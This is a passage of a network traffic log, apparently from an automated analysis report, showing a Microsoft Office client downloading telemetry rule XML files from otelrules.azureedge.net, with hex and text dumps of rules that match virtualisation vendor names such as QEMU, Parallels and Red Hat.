113	192.168.2.8	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:56 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:56 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185956Z-178bfbc474bwh9gmhC1NYCy3rs00000001xg00000000nvfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:57 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:56 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:57 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185957Z-r1d97b99577n5jhbhC1TEB74vn0000000aug000000002rsv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:57 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:57 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:57 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185957Z-r1d97b99577tssmjhC1TEB8kan0000000aqg000000008bkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:57 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: c2563176-701e-001e-70d5-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185958Z-178bfbc474bpnd5vhC1NYC4vr400000001x000000000a649 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:58 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:59 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:58 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185958Z-178bfbc474bmqmgjhC1NYCy16c00000001zg00000000asd2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:59 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:58 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9d56130a-301e-0000-78e0-3beecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185959Z-r1d97b99577gg97qhC1TEBcrf40000000ap00000000070x1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:59 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 164a21a0-201e-00aa-18b8-3b3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185959Z-r1d97b99577d6qrbhC1TEBux5s0000000axg00000000a2yb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:59 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185959Z-1777c6cb754xrr98hC1TEB3kag0000000bf00000000027nf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:00 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190000Z-178bfbc474bfw4gbhC1NYCunf400000001s0000000016zhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:00 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:01 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 1a8bda6d-001e-002b-2468-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190001Z-178bfbc474bv587zhC1NYCny5w00000001rg00000000kp9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:01 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:01 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190001Z-178bfbc474b7cbwqhC1NYC8z4n00000001w00000000035kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:01 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:01 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190001Z-r1d97b99577n5jhbhC1TEB74vn0000000aqg00000000fbs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:01 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml 